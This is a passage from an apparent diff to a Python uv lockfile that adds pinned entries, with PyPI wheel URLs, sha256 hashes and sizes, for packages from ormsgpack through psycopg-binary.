"https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "overrides" +version = "7.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/36/86/b585f53236dec60aba864e050778b25045f857e17f6e5ea0ae95fe80edd2/overrides-7.7.0.tar.gz", hash = "sha256:55158fa3d93b98cc75299b1e67078ad9003ca27945c76162c1c0766d6f91820a", size = 22812, upload-time = "2024-01-27T21:01:33.423Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/ab/fc8290c6a4c722e5514d80f62b2dc4c4df1a68a41d1364e625c35990fcf3/overrides-7.7.0-py3-none-any.whl", hash = "sha256:c7ed9d062f78b8e4c1a7b70bd8796b35ead4d9f510227ef9c5dc7626c60d7e49", size = 17832, upload-time = "2024-01-27T21:01:31.393Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pandocfilters" +version = "1.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/70/6f/3dd4940bbe001c06a65f88e36bad298bc7a0de5036115639926b0c5c0458/pandocfilters-1.5.1.tar.gz", hash = "sha256:002b4a555ee4ebc03f8b66307e287fa492e4a77b4ea14d3f934328297bb4939e", size = 8454, upload-time = "2024-01-18T20:08:13.726Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/af/4fbc8cab944db5d21b7e2a5b8e9211a03a79852b1157e2c102fcc61ac440/pandocfilters-1.5.1-py2.py3-none-any.whl", hash = "sha256:93be382804a9cdb0a7267585f157e5d1731bbe5545a85b268d6f5fe6232de2bc", size = 8663, upload-time = "2024-01-18T20:08:11.28Z" }, +] + +[[package]] +name = "parso" +version = "0.8.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/de/53e0bcf53d13e005bd8c92e7855142494f41171b34c2536b86187474184d/parso-0.8.5.tar.gz", hash = "sha256:034d7354a9a018bdce352f48b2a8a450f05e9d6ee85db84764e9b6bd96dafe5a", size = 401205, upload-time = "2025-08-23T15:15:28.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/16/32/f8e3c85d1d5250232a5d3477a2a28cc291968ff175caeadaf3cc19ce0e4a/parso-0.8.5-py2.py3-none-any.whl", hash = "sha256:646204b5ee239c396d040b90f9e272e9a8017c630092bf59980beb62fd033887", size = 106668, upload-time = "2025-08-23T15:15:25.663Z" }, +] + +[[package]] +name = "pathspec" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5a/82/42f767fc1c1143d6fd36efb827202a2d997a375e160a71eb2888a925aac1/pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a", size = 135180, upload-time = "2026-04-27T01:46:08.907Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", size = 57328, upload-time = "2026-04-27T01:46:07.06Z" }, +] + +[[package]] +name = "pexpect" +version = "4.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ptyprocess" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/86/0248f086a84f01b37aaec0fa567b397df1a119f73c16f6c7a9aac73ea309/platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda", size = 21715, upload-time = "2025-12-05T13:52:58.638Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/28/3bfe2fa5a7b9c46fe7e13c97bda14c895fb10fa2ebf1d0abb90e0cea7ee1/platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31", size = 18731, upload-time = "2025-12-05T13:52:56.823Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "prometheus-client" +version = "0.24.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/58/a794d23feb6b00fc0c72787d7e87d872a6730dd9ed7c7b3e954637d8f280/prometheus_client-0.24.1.tar.gz", hash = "sha256:7e0ced7fbbd40f7b84962d5d2ab6f17ef88a72504dcf7c0b40737b43b2a461f9", size = 85616, upload-time = "2026-01-14T15:26:26.965Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/74/c3/24a2f845e3917201628ecaba4f18bab4d18a337834c1df2a159ee9d22a42/prometheus_client-0.24.1-py3-none-any.whl", hash = "sha256:150db128af71a5c2482b36e588fc8a6b95e498750da4b17065947c16070f4055", size = 64057, upload-time = "2026-01-14T15:26:24.42Z" }, +] + +[[package]] +name = "prompt-toolkit" +version = "3.0.52" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wcwidth" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/96/06e01a7b38dce6fe1db213e061a4602dd6032a8a97ef6c1a862537732421/prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855", size = 434198, upload-time = "2025-08-27T15:24:02.057Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/03/0d3ce49e2505ae70cf43bc5bb3033955d2fc9f932163e84dc0779cc47f48/prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955", size = 391431, upload-time = "2025-08-27T15:23:59.498Z" }, +] + +[[package]] +name = "protobuf" +version = "6.33.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ba/25/7c72c307aafc96fa87062aa6291d9f7c94836e43214d43722e86037aac02/protobuf-6.33.5.tar.gz", hash = "sha256:6ddcac2a081f8b7b9642c09406bc6a4290128fce5f471cddd165960bb9119e5c", size = 444465, upload-time = "2026-01-29T21:51:33.494Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/79/af92d0a8369732b027e6d6084251dd8e782c685c72da161bd4a2e00fbabb/protobuf-6.33.5-cp310-abi3-win32.whl", hash = "sha256:d71b040839446bac0f4d162e758bea99c8251161dae9d0983a3b88dee345153b", size = 425769, upload-time = "2026-01-29T21:51:21.751Z" }, + { url = "https://files.pythonhosted.org/packages/55/75/bb9bc917d10e9ee13dee8607eb9ab963b7cf8be607c46e7862c748aa2af7/protobuf-6.33.5-cp310-abi3-win_amd64.whl", hash = "sha256:3093804752167bcab3998bec9f1048baae6e29505adaf1afd14a37bddede533c", size = 437118, upload-time = "2026-01-29T21:51:24.022Z" }, + { url = "https://files.pythonhosted.org/packages/a2/6b/e48dfc1191bc5b52950246275bf4089773e91cb5ba3592621723cdddca62/protobuf-6.33.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:a5cb85982d95d906df1e2210e58f8e4f1e3cdc088e52c921a041f9c9a0386de5", size = 427766, upload-time = "2026-01-29T21:51:25.413Z" }, + { url = "https://files.pythonhosted.org/packages/4e/b1/c79468184310de09d75095ed1314b839eb2f72df71097db9d1404a1b2717/protobuf-6.33.5-cp39-abi3-manylinux2014_aarch64.whl", hash = "sha256:9b71e0281f36f179d00cbcb119cb19dec4d14a81393e5ea220f64b286173e190", size = 324638, upload-time = "2026-01-29T21:51:26.423Z" }, + { url = "https://files.pythonhosted.org/packages/c5/f5/65d838092fd01c44d16037953fd4c2cc851e783de9b8f02b27ec4ffd906f/protobuf-6.33.5-cp39-abi3-manylinux2014_s390x.whl", hash = "sha256:8afa18e1d6d20af15b417e728e9f60f3aa108ee76f23c3b2c07a2c3b546d3afd", size = 339411, upload-time = "2026-01-29T21:51:27.446Z" }, + { url = "https://files.pythonhosted.org/packages/9b/53/a9443aa3ca9ba8724fdfa02dd1887c1bcd8e89556b715cfbacca6b63dbec/protobuf-6.33.5-cp39-abi3-manylinux2014_x86_64.whl", hash = "sha256:cbf16ba3350fb7b889fca858fb215967792dc125b35c7976ca4818bee3521cf0", size = 323465, upload-time = "2026-01-29T21:51:28.925Z" }, + { url = "https://files.pythonhosted.org/packages/57/bf/2086963c69bdac3d7cff1cc7ff79b8ce5ea0bec6797a017e1be338a46248/protobuf-6.33.5-py3-none-any.whl", hash = "sha256:69915a973dd0f60f31a08b8318b73eab2bd6a392c79184b3612226b0a3f8ec02", size = 170687, upload-time = "2026-01-29T21:51:32.557Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/73/cb/09e5184fb5fc0358d110fc3ca7f6b1d033800734d34cac10f4136cfac10e/psutil-7.2.1.tar.gz", hash = "sha256:f7583aec590485b43ca601dd9cea0dcd65bd7bb21d30ef4ddbf4ea6b5ed1bdd3", size = 490253, upload-time = "2025-12-29T08:26:00.169Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/77/8e/f0c242053a368c2aa89584ecd1b054a18683f13d6e5a318fc9ec36582c94/psutil-7.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:ba9f33bb525b14c3ea563b2fd521a84d2fa214ec59e3e6a2858f78d0844dd60d", size = 129624, upload-time = "2025-12-29T08:26:04.255Z" }, + { url = "https://files.pythonhosted.org/packages/26/97/a58a4968f8990617decee234258a2b4fc7cd9e35668387646c1963e69f26/psutil-7.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:81442dac7abfc2f4f4385ea9e12ddf5a796721c0f6133260687fec5c3780fa49", size = 130132, upload-time = "2025-12-29T08:26:06.228Z" }, + { url = "https://files.pythonhosted.org/packages/db/6d/ed44901e830739af5f72a85fa7ec5ff1edea7f81bfbf4875e409007149bd/psutil-7.2.1-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ea46c0d060491051d39f0d2cff4f98d5c72b288289f57a21556cc7d504db37fc", size = 180612, upload-time = "2025-12-29T08:26:08.276Z" }, + { url = "https://files.pythonhosted.org/packages/c7/65/b628f8459bca4efbfae50d4bf3feaab803de9a160b9d5f3bd9295a33f0c2/psutil-7.2.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:35630d5af80d5d0d49cfc4d64c1c13838baf6717a13effb35869a5919b854cdf", size = 183201, upload-time = "2025-12-29T08:26:10.622Z" }, + { url = "https://files.pythonhosted.org/packages/fb/23/851cadc9764edcc18f0effe7d0bf69f727d4cf2442deb4a9f78d4e4f30f2/psutil-7.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:923f8653416604e356073e6e0bccbe7c09990acef442def2f5640dd0faa9689f", size = 139081, upload-time = "2025-12-29T08:26:12.483Z" }, + { url = "https://files.pythonhosted.org/packages/59/82/d63e8494ec5758029f31c6cb06d7d161175d8281e91d011a4a441c8a43b5/psutil-7.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cfbe6b40ca48019a51827f20d830887b3107a74a79b01ceb8cc8de4ccb17b672", size = 134767, upload-time = "2025-12-29T08:26:14.528Z" }, + { url = "https://files.pythonhosted.org/packages/05/c2/5fb764bd61e40e1fe756a44bd4c21827228394c17414ade348e28f83cd79/psutil-7.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:494c513ccc53225ae23eec7fe6e1482f1b8a44674241b54561f755a898650679", size = 129716, upload-time = "2025-12-29T08:26:16.017Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d2/935039c20e06f615d9ca6ca0ab756cf8408a19d298ffaa08666bc18dc805/psutil-7.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3fce5f92c22b00cdefd1645aa58ab4877a01679e901555067b1bd77039aa589f", size = 130133, upload-time = "2025-12-29T08:26:18.009Z" }, + { url = "https://files.pythonhosted.org/packages/77/69/19f1eb0e01d24c2b3eacbc2f78d3b5add8a89bf0bb69465bc8d563cc33de/psutil-7.2.1-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93f3f7b0bb07711b49626e7940d6fe52aa9940ad86e8f7e74842e73189712129", size = 181518, upload-time = "2025-12-29T08:26:20.241Z" }, + { url = "https://files.pythonhosted.org/packages/e1/6d/7e18b1b4fa13ad370787626c95887b027656ad4829c156bb6569d02f3262/psutil-7.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d34d2ca888208eea2b5c68186841336a7f5e0b990edec929be909353a202768a", size = 184348, upload-time = "2025-12-29T08:26:22.215Z" }, + { url = "https://files.pythonhosted.org/packages/98/60/1672114392dd879586d60dd97896325df47d9a130ac7401318005aab28ec/psutil-7.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2ceae842a78d1603753561132d5ad1b2f8a7979cb0c283f5b52fb4e6e14b1a79", size = 140400, upload-time = "2025-12-29T08:26:23.993Z" }, + { url = "https://files.pythonhosted.org/packages/fb/7b/d0e9d4513c46e46897b46bcfc410d51fc65735837ea57a25170f298326e6/psutil-7.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:08a2f175e48a898c8eb8eace45ce01777f4785bc744c90aa2cc7f2fa5462a266", size = 135430, upload-time = "2025-12-29T08:26:25.999Z" }, + { url = "https://files.pythonhosted.org/packages/c5/cf/5180eb8c8bdf6a503c6919f1da28328bd1e6b3b1b5b9d5b01ae64f019616/psutil-7.2.1-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2e953fcfaedcfbc952b44744f22d16575d3aa78eb4f51ae74165b4e96e55f42", size = 128137, upload-time = "2025-12-29T08:26:27.759Z" }, + { url = "https://files.pythonhosted.org/packages/c5/2c/78e4a789306a92ade5000da4f5de3255202c534acdadc3aac7b5458fadef/psutil-7.2.1-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:05cc68dbb8c174828624062e73078e7e35406f4ca2d0866c272c2410d8ef06d1", size = 128947, upload-time = "2025-12-29T08:26:29.548Z" }, + { url = "https://files.pythonhosted.org/packages/29/f8/40e01c350ad9a2b3cb4e6adbcc8a83b17ee50dd5792102b6142385937db5/psutil-7.2.1-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e38404ca2bb30ed7267a46c02f06ff842e92da3bb8c5bfdadbd35a5722314d8", size = 154694, upload-time = "2025-12-29T08:26:32.147Z" }, + { url = "https://files.pythonhosted.org/packages/06/e4/b751cdf839c011a9714a783f120e6a86b7494eb70044d7d81a25a5cd295f/psutil-7.2.1-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab2b98c9fc19f13f59628d94df5cc4cc4844bc572467d113a8b517d634e362c6", size = 156136, upload-time = "2025-12-29T08:26:34.079Z" }, + { url = "https://files.pythonhosted.org/packages/44/ad/bbf6595a8134ee1e94a4487af3f132cef7fce43aef4a93b49912a48c3af7/psutil-7.2.1-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f78baafb38436d5a128f837fab2d92c276dfb48af01a240b861ae02b2413ada8", size = 148108, upload-time = "2025-12-29T08:26:36.225Z" }, + { url = "https://files.pythonhosted.org/packages/1c/15/dd6fd869753ce82ff64dcbc18356093471a5a5adf4f77ed1f805d473d859/psutil-7.2.1-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:99a4cd17a5fdd1f3d014396502daa70b5ec21bf4ffe38393e152f8e449757d67", size = 147402, upload-time = "2025-12-29T08:26:39.21Z" }, + { url = "https://files.pythonhosted.org/packages/34/68/d9317542e3f2b180c4306e3f45d3c922d7e86d8ce39f941bb9e2e9d8599e/psutil-7.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:b1b0671619343aa71c20ff9767eced0483e4fc9e1f489d50923738caf6a03c17", size = 136938, upload-time = "2025-12-29T08:26:41.036Z" }, + { url = "https://files.pythonhosted.org/packages/3e/73/2ce007f4198c80fcf2cb24c169884f833fe93fbc03d55d302627b094ee91/psutil-7.2.1-cp37-abi3-win_arm64.whl", hash = "sha256:0d67c1822c355aa6f7314d92018fb4268a76668a536f133599b91edd48759442", size = 133836, upload-time = "2025-12-29T08:26:43.086Z" }, +] + +[[package]] +name = "psycopg" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "tzdata", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/db/2f/cb91e5502ec9de1de6f1b76cfbf69531932725361168bb06963620c77e2e/psycopg-3.3.4.tar.gz", hash = "sha256:e21207764952cff81b6b8bdacad9a3939f2793367fdac2987b3aac36a651b5bc", size = 165799, upload-time = "2026-05-01T23:31:55.179Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/e0/7b3dee031daae7743609ce3c746565d4a3ed7c2c186479eb48e34e838c64/psycopg-3.3.4-py3-none-any.whl", hash = "sha256:b6bbc25ccf05c8fad3b061d9db2ef0909a555171b84b07f29458a447253d679a", size = 213001, upload-time = "2026-05-01T23:20:50.816Z" }, +] + +[package.optional-dependencies] +binary = [ + { name = "psycopg-binary", marker = "implementation_name != 'pypy'" }, +] + +[[package]] +name = "psycopg-binary" +version = "3.3.4" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/bf/70d8a60488f9955cbbcd538beae44d56bb2f1d19e673b72788f2d343ff55/psycopg_binary-3.3.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b7bfff1ca23732b488cbca3076fc11bc98d520ee122514fdb17a8e20d3338f5a", size = 4609750, upload-time = "2026-05-01T23:24:20.06Z" }, + { url = "https://files.pythonhosted.org/packages/db/b0/29e98ba210c9dbc75a6dc91e3f99b9e06ea901a62ca95804e02a1ae13e6b/psycopg_binary-3.3.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32a6fbf8481e3a370d0d72b860d35948a693cb01281da217f7b2f307636e591a", size = 4676700, upload-time = "2026-05-01T23:25:21.727Z" }, + { url = "https://files.pythonhosted.org/packages/8e/ab/3df087b3c12bf74e47c08204172b2fabb5a144679110d5c7ad12d9201323/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bdef84570ebbce1d42b4e7ea952d21c414c5f118ad02fee00c5625f35e134429", size = 5496319, upload-time = "2026-05-01T23:25:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/87/9a/f088207b4cd6772f9e0d8a91807e79fa2458d4eb9eb1ae406c68415f2bec/psycopg_binary-3.3.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa1cbc10768a796c96d3243656016bf4e337c81c71097270bb7b0ad6210d9765", size = 5171906, upload-time = "2026-05-01T23:25:34.004Z" }, + { url = "https://files.pythonhosted.org/packages/48/45/4523a857f253871d75c22e1c2e79fd47e599e736bcba1bad58d83e24be02/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cf7f73a4a792bc5db58a4b385d8a1467e8d468f7548702fb0ed1e9b7501b1c13", size = 6762621, upload-time = "2026-05-01T23:25:41.392Z" }, + { url = "https://files.pythonhosted.org/packages/7c/d1/925bf776503345bef428e6c45fb017d0139ddbe0e211814b585c4253dca8/psycopg_binary-3.3.4-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d7b4d40c153fa352ab3cca530f3a0baedf7621b2ebcbd7f084009522c21788fc", size = 5006319, upload-time = "2026-05-01T23:25:51.419Z" }, + { url = "https://files.pythonhosted.org/packages/6f/aa/99727337206fbba357ca084bf4ea8b29dc986f61842a2685859af61416db/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f9b1c2533af01cd7648378599f82b0b8ae32f293296e6eec5753a625bc97ef28", size = 4535388, upload-time = "2026-05-01T23:25:57.957Z" }, + { url = "https://files.pythonhosted.org/packages/0b/a4/567ba2c37d19d8c2f63d836385dfd2495aa5897bbee6cfab104d9ee58624/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:ad3bc94054876155549fdaedf4a46d1ec69d39a5bcee377148afe498e84c4b8e", size = 4224544, upload-time = "2026-05-01T23:26:03.832Z" }, + { url = 